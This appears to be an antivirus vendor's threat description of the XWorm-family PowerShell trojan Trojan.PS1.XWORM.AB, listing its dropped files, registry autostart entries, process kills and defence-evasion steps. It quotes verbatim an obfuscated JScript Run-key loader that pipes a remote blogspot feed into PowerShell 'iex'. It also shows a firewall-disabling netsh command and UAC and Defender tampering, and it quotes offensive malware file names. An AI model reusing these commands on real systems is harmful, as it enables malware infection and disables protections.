Trojan.PS1.XWORM.AB

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Arrival Details

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

This Trojan adds the following folders:

• %ProgramData%\nipplesnigger → Deletes afterwards

(Note: %ProgramData% is a version of the Program Files folder where any user on a multi-user computer can make changes to programs. This contains application data for all users. This is usually C:\ProgramData on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit), or C:\Documents and Settings\All Users on Windows Server 2003(32-bit), 2000(32-bit) and XP.)

It drops the following files:

• %ProgramData%\nipplesnigger\KAMASUTRAKIM.~!!@#!!!!!!!!!!!!!!!~ → Deletes afterward

(Note: %ProgramData% is a version of the Program Files folder where any user on a multi-user computer can make changes to programs. This contains application data for all users. This is usually C:\ProgramData on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit), or C:\Documents and Settings\All Users on Windows Server 2003(32-bit), 2000(32-bit) and XP.)

It adds the following processes:

• netsh.exe advfirewall set allprofiles state off -ErrorAction Silently Continue

Autostart Technique

This Trojan adds the following registry entries to enable its automatic execution at every system startup:

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Run
lexerti1 = schtasks /run /tn lexerti1

HKEY_CURRENT_USER\Software\Microsoft\
Windows\CurrentVersion\Run
lexerti2 = "javascript:xwge=['Scripting.FileSystemObject','WScript.Shell','powershell -ep Bypass -c [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12;(irm allinalcleanedcap.blogspot.com////////////////////atom.xml | iex);Start-Sleep -Seconds 5;','run']; xwwt=[xwge[3],xwge[0],xwge[1],xwge[2]]; new ActiveXObject(xwwt[2])[xwwt[0]](xwwt[3], 0, true);close();new ActiveXObject(xwwt[1]).DeleteFile(WScript.ScriptFullName)

Other System Modifications

This Trojan adds the following registry entries:

HKEY_CURRENT_USER\Software\Classes\
CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\InProcServer32
(Default) = C:\IDontExist.dll

It modifies the following registry entries:

HKEY_LOCAL_MACHINE\Software\Microsoft\
CurrentVersion\Policies\System
EnableLUA = 0

(Note: The default value data of the said registry entry is 1.)

Process Termination

This Trojan terminates the following processes if found running in the affected system's memory:

• RegSvcs
• Mshta
• Wscript
• Msbuild

Download Routine

This Trojan connects to the following website(s) to download and execute a malicious file:

• https://{BLOCKED}lcleanedcap.blogspot.com////////////////////atom.xml

Other Details

This Trojan adds the following registry keys:

HKEY_CURRENT_USER\Software\Classes\
CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}

HKEY_CURRENT_USER\Software\Classes\
CLSID\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\InProcServer32

It does the following:

• Terminates process containing .bat.exe in its process name
• Deletes files in the following folders:
  • %Application Data%
  • %Public%
  • %User Startup%
  • with the following extensions:
  • .bat
  • .ps1
  • .lnk
  • .bat.exe
  • .cmd
• Deletes files in the following folders:
  • %Public%
  • %Application Data%
  • %ProgramData%
  • with the following extension:
  • .vbs
• Exclude the following in Windows Defender scans:
  • Extensions:
  • .ppam
  • .xls
  • .docx
  • .vbs
  • .js
  • Drives:
  • C:\
  • D:\
  • E:\
  • Processes:
  • explorer.exe
  • kernel32.dll
  • aspnet_compiler.exe
  • cvtres.exe
  • CasPol.exe
  • csc.exe
  • Msbuild.exe
  • ilasm.exe
  • InstallUtil.exe
  • jsc.exe
  • powershell.exe
  • rundll32.exe
  • conhost.exe
  • Csript.exe
  • mshta.exe
  • cmd.exe
  • DefenderisasuckingAntivirus
  • wscript.exe
  • IP Address:
  • 127.0.0.1
• Disable Windows Defender
• It bypasses the Antimalware Scan Interface (AMSI).

(Note: %User Startup% is the current user's Startup folder, which is usually C:\Windows\Profiles\{user name}\Start Menu\Programs\Startup on Windows 98 and ME, C:\WINNT\Profiles\{user name}\Start Menu\Programs\Startup on Windows NT, C:\Documents and Settings\{User name}\Start Menu\Programs\Startup on Windows 2003(32-bit), XP and 2000(32-bit), or C:\Users\{user name}\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit), 10(64-bit).. %ProgramData% is a version of the Program Files folder where any user on a multi-user computer can make changes to programs. This contains application data for all users. This is usually C:\ProgramData on Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) and 10(64-bit), or C:\Documents and Settings\All Users on Windows Server 2003(32-bit), 2000(32-bit) and XP.)

It adds the following scheduled tasks:

• Task Name: lexerti1
• Trigger: Once {Current Date plus 402 minutes}
• Action: Mshta {Script}